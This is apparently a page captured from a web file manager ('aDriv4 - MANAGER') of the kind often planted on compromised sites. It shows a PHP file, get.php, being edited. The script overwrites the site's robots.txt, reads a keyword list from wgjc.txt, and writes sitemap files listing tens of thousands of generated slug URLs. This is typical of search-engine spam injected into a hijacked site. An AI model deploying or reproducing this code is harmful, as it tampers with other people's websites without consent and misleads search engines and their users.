aDriv4 - MANAGER
Edit File: get.php
<?php date_default_timezone_set('Asia/Bangkok'); $currentTime = date('Y-m-d\TH:i:sP'); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https' : 'http'; $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlBase = str_replace(basename(__FILE__), "", $baseUrl); $robotsTxt = "User-agent: *" . PHP_EOL; $robotsTxt .= "Allow: /" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlBase . "sitemap.xml" . PHP_EOL; file_put_contents('robots.txt', $robotsTxt); $listFile = "wgjc.txt"; if (!file_exists($listFile)) { exit("❌ 找不到 wgjc.txt 文件。"); } $fileLines = file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (empty($fileLines)) { exit("❌ wgjc.txt 为空。"); } function generateSlug($text) { $slug = strtolower($text); $slug = str_replace(['+', ' '], '-', $slug); $slug = preg_replace('/[^a-z0-9\-]/', '', $slug); $slug = preg_replace('/-+/', '-', $slug); $slug = trim($slug, '-'); $slug = substr($slug, 0, 60); return $slug; } $usedSlugs = []; $cleanUrls = []; foreach ($fileLines as $line) { $slug = generateSlug($line); if (empty($slug)) continue; $originalSlug = $slug; $counter = 1; while (in_array($slug, $usedSlugs)) { $slug = $originalSlug . '-' . $counter; $counter++; } $usedSlugs[] = $slug; $cleanUrls[] = $slug; } $chunkSize = 10000; $chunks = array_chunk($cleanUrls, $chunkSize); $totalSitemaps = count($chunks); foreach ($chunks as $index => $chunk) { $sitemapIndex = $index + 1; $sitemapFilename = "sitemap_" . $sitemapIndex . ".xml"; $sitemapFile = fopen($sitemapFilename, "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); foreach ($chunk as $slug) { $sitemapLink = $urlBase . $slug; fwrite($sitemapFile, " <url>\n"); fwrite($sitemapFile, " <loc>" . htmlspecialchars($sitemapLink, ENT_QUOTES, 'UTF-8') . "</loc>\n"); fwrite($sitemapFile, " <lastmod>" . $currentTime . "</lastmod>\n"); fwrite($sitemapFile, " <changefreq>daily</changefreq>\n"); fwrite($sitemapFile, " </url>\n"); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); } $mainSitemap = fopen("sitemap.xml", "w"); fwrite($mainSitemap, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($mainSitemap, '<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); for ($i = 1; $i <= $totalSitemaps; $i++) { $sitemapUrl = $urlBase . "sitemap_" . $i . ".xml"; fwrite($mainSitemap, " <sitemap>\n"); fwrite($mainSitemap, " <loc>" . htmlspecialchars($sitemapUrl, ENT_QUOTES, 'UTF-8') . "</loc>\n"); fwrite($mainSitemap, " <lastmod>" . $currentTime . "</lastmod>\n"); fwrite($mainSitemap, " </sitemap>\n"); } fwrite($mainSitemap, '</sitemapindex>' . PHP_EOL); fclose($mainSitemap); echo "✅ 已成功生成 {$totalSitemaps} 个 sitemap 文件 和 robots.txt!"; ?>